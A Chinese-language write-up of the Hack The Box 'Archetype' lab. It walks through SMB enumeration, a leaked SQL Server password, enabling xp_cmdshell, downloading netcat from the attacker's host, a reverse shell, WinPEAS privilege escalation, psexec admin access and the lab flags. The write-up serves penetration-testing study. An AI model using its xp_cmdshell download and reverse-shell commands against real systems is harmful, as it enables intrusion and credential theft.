Archetype (SMB、SQL Server xp_cmdshell、反弹shell、winPEASx64、psexec远程连接)
TASK 1
- 问题: 哪个TCP端口托管着数据库服务器?
- 目的: 识别运行数据库服务的端口,通常通过端口扫描(如使用nmap)来完成。
TASK 2
- 问题: 通过SMB共享的非管理员共享的名称是什么?
- 目的: 识别SMB共享中的非管理员共享。这通常涉及到枚举SMB共享(例如使用
smbclient
工具)。
TASK 3
- 问题: 在SMB共享上的文件中找到的密码是什么?
- 目的: 访问SMB共享,并查找存储密码的文件。可能需要利用先前任务中识别的共享。
TASK 4
- 问题: Impacket集合中的哪个脚本可以用来建立与Microsoft SQL Server的认证连接?
- 目的: 了解和使用Impacket工具集,这是一个用于网络协议攻击的Python类和脚本的集合。这个特定的脚本用于和SQL Server建立连接。
TASK 5
- 问题: Microsoft SQL Server的哪个扩展存储过程可以用来生成Windows命令shell?
- 目的: 了解SQL Server内部可用于执行命令的特定功能。这通常用于执行系统命令或提权。
TASK 6
- 问题: 哪个脚本可以用来搜索在Windows主机上提升权限的可能路径?
- 目的: 了解和使用特定的工具或脚本来发现提权的可能途径。这在进行本地渗透测试时非常有用。
TASK 7
- 问题: 包含管理员密码的文件是什么?
- 目的: 寻找存储有关键凭据的文件,这可能涉及到文件系统的深入探索或利用特定的漏洞。
- 信息收集
namp -sV 10.129.131.101
结果如下:
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000
知识补充
SMB (Server Message Block) 协议
SMB(Server Message Block)是一种网络文件共享协议。它允许计算机在同一个网络上共享文件、打印机、串行端口和通信中的各种资源。SMB 协议最常见于 Windows 系统,但也可以在其他操作系统中使用。在Windows环境中,SMB运行在TCP端口 445 上。
SMB 的一个关键特性是能够提供文件和打印服务,使得网络上的不同计算机能够访问和共享文件就像访问本地文件一样。此外,SMB 也允许进行一些管理员级别的任务,如查询网络设置或请求远程计算机上的服务。
尝试连接:
┌──(root㉿kali)-[/home/lovesickman]
└─# smbclient -L 10.129.131.101 -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backups Disk
C$ Disk Default share
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.131.101 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
尝试使用 -N 匿名连接 backups 。
┌──(root㉿kali)-[/home/lovesickman]
└─# smbclient \\\\10.129.131.101\\backups -N
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jan 20 20:20:57 2020
.. D 0 Mon Jan 20 20:20:57 2020
prod.dtsConfig AR 609 Mon Jan 20 20:23:02 2020
5056511 blocks of size 4096. 2616663 blocks available
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
smb: \>
将文件下载到本地之后,获得了类似账号和密码的内容。
┌──(root㉿kali)-[/home/lovesickman]
└─# cat prod.dtsConfig
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>
Data Source=.
:指定了数据源,.
表示本地服务器。Password=M3g4c0rp123
:数据库连接的密码。User ID=ARCHETYPE\sql_svc
:用于数据库连接的用户名。Initial Catalog=Catalog
:初始连接的数据库名。Provider=SQLNCLI10.1
;Persist Security Info=True
;Auto Translate=False
:其他数据库连接相关的设置。
知识补充
Impacket
- 目的和功能:Impacket 是一个集成了多个网络协议工具的 Python 工具集。它包括多个脚本,用于执行各种网络操作,如验证、攻击、测试等。Impacket 包含的工具不仅限于数据库操作,还包括很多其他网络协议的操作。
- 使用场景:Impacket 主要用于渗透测试、网络安全研究和系统管理员工作。它的工具通常在命令行界面下运行,需要用户对相应协议有一定的理解。
- 数据库相关工具:Impacket 中的
mssqlclient.py
是一个脚本,用于与 Microsoft SQL Server 建立连接和交互。它更多地用于渗透测试和安全领域,比如在探索SQL注入漏洞或执行其他类型的数据库攻击时。
Navicat
- 目的和功能:Navicat 是一个数据库管理和开发工具,它提供图形用户界面,用于连接和管理多种类型的数据库,如 MySQL、PostgreSQL、Oracle、SQLite 和 Microsoft SQL Server。
- 使用场景:Navicat 主要用于数据库的日常管理、开发和维护工作。它非常适合数据库管理员、开发者和分析师进行数据查询、数据库设计、数据导入/导出等操作。
- 用户友好性:Navicat 提供一个直观的图形界面,使用户可以轻松地执行复杂的数据库操作,无需深入了解底层协议或编写SQL语句。
Navicate 无法远程连接,尝试使用 kali 自带的 mssqlclient.py 文件远程连接。路径如下 : /usr/share/doc/python3-impacket
┌──(root㉿kali)-[/usr/share/doc/python3-impacket]
└─# ls -a
. .. changelog.Debian.gz changelog.gz copyright examples README.md.gz
┌──(root㉿kali)-[/usr/share/doc/python3-impacket]
└─# cd examples
┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# ls -a
. GetNPUsers.py mqtt_check.py rdp_check.py smbrelayx.py
.. getPac.py mssqlclient.py registry-read.py smbserver.py
addcomputer.py getST.py mssqlinstance.py reg.py sniffer.py
atexec.py getTGT.py netview.py rpcdump.py sniff.py
dcomexec.py GetUserSPNs.py nmapAnswerMachine.py rpcmap.py split.py
dpapi.py goldenPac.py ntfs-read.py sambaPipe.py ticketConverter.py
esentutl.py karmaSMB.py ntlmrelayx.py samrdump.py ticketer.py
exchanger.py keylistattack.py ping6.py secretsdump.py wmiexec.py
findDelegation.py kintercept.py ping.py services.py wmipersist.py
GetADUsers.py lookupsid.py psexec.py smbclient.py wmiquery.py
getArch.py machine_role.py raiseChild.py smbexec.py
Get-GPPPassword.py mimikatz.py rbcd.py smbpasswd.py
使用脚本连接 SQL SERVER 数据库
python3 mssqlclient.py 'ARCHETYPE/sql_svc'@10.129.131.101 -windows-auth
查看数据库中的表
SQL> select name from master.sys.databases;
name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
知识补充
master
数据库记录了所有的 SQL Server 数据库系统的系统级信息,如用户帐户,配置设置,并存在所有其他数据库信息
model
数据库是一个模板数据库。每当创建一个新的数据库(包括系统数据库的TempDB),会创建一个以 Model 数据库为副本数据库,并更改成你创建数据库时所用的名称
msdb
数据库是 SQL Server 代理的数据库,用于配置警报使用 SQL Server 代理和预定作业等
tempddb
数据库是由 SQL Server 用于暂时存储数据的,这其中包含所有临时表,临时存储过程,并通过 SQL Server 生成任何其他临时存储需求
思路导航
为什么可以利用 SQL SERVER 的漏洞呢?
因为我们得到 SQL SERVER 的数据库和密码之后,SQL SERVER 有一个 xp_shell
的扩展存储过程可以生成 windows shell。
xp_cmdshell
是一个 SQL Server 的扩展存储过程,它允许你执行操作系统命令。在默认情况下,xp_cmdshell
可能在 SQL Server 上被禁用,因此你可能需要先启用它。
-
打开 SQL Server 配置项:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
-
启用 xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-
可以测试
exec xp_cmdshell 'whoami'; exec xp_cmdshell 'ipconfig';
TASK 6
问题: 用于搜索可能的 Windows 主机权限提升路径的脚本是什么?
答案: Sherlock
或者 WinPEAS
这些是常用的权限提升枚举脚本。Sherlock
和 WinPEAS
都是用于查找可能的Windows权限提升漏洞的脚本。
然后下载提权脚本。
知识补充
使用 net user 查看本机所有的用户
PS C:\Users\user> net user
\\LAPTOP-38QT2L81 的用户帐户
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
oracle user WDAGUtilityAccount
命令成功完成。
PS C:\Users\user>
- Administrator:这是 Windows 系统的内置管理员账户。它拥有系统上最高级别的权限,通常在初始安装 Windows 时创建。
- DefaultAccount:这是一个内置的用户账户,通常用于系统特定的目的,通常不用于常规登录。
- Guest:另一个 Windows 内置账户,通常具有非常有限的权限,用于临时用户访问。
- oracle:这似乎是一个创建的用户账户,可能是用于特定用途,如运行 Oracle 数据库或其他 Oracle 软件。
- user:这可能是一个为常规使用或特定用途创建的用户账户。
- WDAGUtilityAccount:这是 Windows Defender Application Guard 的一部分,用于提供隔离的浏览环境,以提高安全性。
知识补充
使用 nc (netcat)创建一个反弹 shell
关于 -e
选项
在 Netcat 命令中,-e
选项用于指定 Netcat 在建立连接后要执行的程序。例如,nc 192.168.234.3 80 -e /bin/bash
命令会在连接到 IP 地址 192.168.234.3
的 80
端口后,尝试在远程系统上执行 /bin/bash
。这通常用于创建一个反弹 Shell,允许远程用户通过 Netcat 连接访问一个 Shell 会话。
测试 靶机可以使用 powershell
SQL> EXEC xp_cmdshell 'powershell -c "Write-Host Hello World"';
output
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Hello World
NULL
linux 使用 python3 启动一个服务器
python3 -m http.server 80
nc64.exe 目录:http://192.168.234.3/htb/utools/nc.exe/
靶机执行下边的目录下载 nc64.exe
exec xp_cmdshell "powershell -c wget http://192.168.234.3/htb/utools/nc.exe/nc64.exe -outfile nc64.exe"
xp_cmdshell
:SQL Server 的一个扩展存储过程,用于执行操作系统命令。powershell -c
:启动 PowerShell 并执行后面的命令。wget http://192.168.234.3/htb/utools/nc.exe/nc64.exe
:wget 是 PowerShell 中的一个别名,用于从指定的 URL 下载文件。在这个例子中,它从http://192.168.234.3/htb/utools/nc.exe/nc64.exe
下载文件。-outfile nc64.exe
:指定下载的文件保存为nc64.exe
。
靶机下载完成之后,执行以下命令
在靶机上,您可以使用 SQL Server 的 xp_cmdshell
来下载 nc.exe
并执行它。首先,确保靶机可以访问您的 Kali Linux 机器(即确保没有防火墙或网络隔离问题)。
这里有一个问题(非常关键)
我的kali的内网地址是:192.168.234.3,靶机ip是10.129.67.17,kali是可以ping通靶机的,但是靶机无法ping通主机,htb 同时提供了一个我主机的虚拟ip地址:US
ACCESS
US StartingPoint 2
SERVER
10.10.14.119
IP ADDRESS
当我在 kali 使用 python3 -m http.server 80
靶机可以访问 10.10.14.119 来访问我本地的文件,从而上传nc64.exe 实现反弹shell。
步骤 1: 在攻击机上设置 Netcat 监听器
-
打开你的 Linux 终端。
-
使用 Netcat 设置监听器。选择一个端口(例如
4444
)进行监听:nc -lvnp 4444
这个命令会让 Netcat 在端口
4444
上监听进入的连接。选项说明:-l
表示监听模式。-v
表示详细输出。-n
表示不进行 DNS 解析。-p 4444
指定使用的端口。
步骤 2: 在靶机上触发反弹 Shell
这个步骤取决于你对靶机的访问权限和可用工具。假设你可以在靶机上执行命令(例如通过 SQL 注入、命令执行漏洞等),你需要执行一个命令来连接到你的监听器。假设你的攻击机 IP 地址是 192.168.234.2
,端口是 4444
,在靶机上的命令可能是:
nc 10.10.14.119 4444 -e /bin/bash
这个命令会使靶机上的 Netcat 连接到你的监听器,并使用 /bin/bash
提供一个 Shell。
SQL> exec xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;wget http://10.10.14.119/nc64.exe -outfile nc64.exe;dir;"
output
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Directory: C:\Users\sql_svc\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/2/2023 4:51 AM 45272 nc64.exe
下载成功!
靶机运行:
SQL> exec xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;.\nc64.exe 10.10.14.119 4444 -e cmd.exe;dir;"
成功提权!
┌──(root㉿kali)-[/home/lovesickman/htb/utools/nc.exe]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.119] from (UNKNOWN) [10.129.67.17] 49685
Microsoft Windows [Version 10.0.17763.2061]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\sql_svc\Downloads>
提权之后下载高级提权工具:winPEASx64,wget http://10.10.14.119/htb/utools/winPEASx64.exe -outfile winPEASx64.exe
下载好如下所示:
C:\Users\sql_svc\Downloads>dir
dir
Volume in drive C has no label.
Volume Serial Number is 9565-0B4F
Directory of C:\Users\sql_svc\Downloads
12/02/2023 05:12 AM <DIR> .
12/02/2023 05:12 AM <DIR> ..
12/02/2023 04:51 AM 45,272 nc64.exe
12/02/2023 05:12 AM 135,376 winPEASany.exe (当时下错了)
2 File(s) 180,648 bytes
2 Dir(s) 10,719,178,752 bytes free
这个提权工具找了好久都不行,在一个博客里边找到了能用的,友链,经过一顿输出 ,得到了管理员账号和密码:
administrator MEGACORP_4dm1n!!
Analyzing Windows Files Files (limit 70)
C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
C:\Users\Default\NTUSER.DAT
C:\Users\sql_svc\NTUSER.DAT
Analyzing Other Windows Files Files (limit 70)
/---------------------------------------------------------------------------\
| Do you like PEASS? |
|---------------------------------------------------------------------------|
| Become a Patreon : https://www.patreon.com/peass |
| Follow on Twitter : @carlospolopm |
| Respect on HTB : SirBroccoli & makikvues |
|---------------------------------------------------------------------------|
| Thank you! |
\---------------------------------------------------------------------------/
C:\Users\sql_svc\Downloads>type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit
最后使用 psexec 工具远程连接
psexec
是一个功能强大的远程执行工具,允许您在远程系统上执行命令。如果您已在您的 Kali Linux 机器上安装了 psexec
┌──(root㉿kali)-[/home/lovesickman/htb/utools]
└─# impacket-psexec administrator@10.129.67.17
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Password:
[*] Requesting shares on 10.129.67.17.....
[*] Found writable share ADMIN$
[*] Uploading file avwKJWzR.exe
[*] Opening SVCManager on 10.129.67.17.....
[*] Creating service ZzpR on 10.129.67.17.....
[*] Starting service ZzpR.....
[!] Press help for extra shell commands Microsoft Windows [Version 10.0.17763.2061]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
FLAG 保存在了用户的桌面:user_flag:3e7b102e78218e935bf3f4951fec21a3
02/25/2020 06:37 AM 32 user.txt
1 File(s) 32 bytes
2 Dir(s) 10,715,082,752 bytes free
tyep^H^H
'ty' is not recognized as an internal or external command,
operable program or batch file. C:\Users\sql_svc\Desktop>
type user.txt C:\Users\sql_svc\Desktop>3e7b102e78218e935bf3f4951fec21a3
Directory of C:\Users\Administrator\Desktop
07/27/2021 01:30 AM <DIR> .
07/27/2021 01:30 AM <DIR> ..
02/25/2020 06:36 AM 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 10,715,082,752 bytes free
C:\Users\Administrator\Desktop> type root.txtt^H The filename, directory name, or volume label syntax is incorrect.
C:\Users\Administrator\Desktop> type root.txt b91ccec3305e98240082d4474b848528
C:\Users\Administrator\Desktop>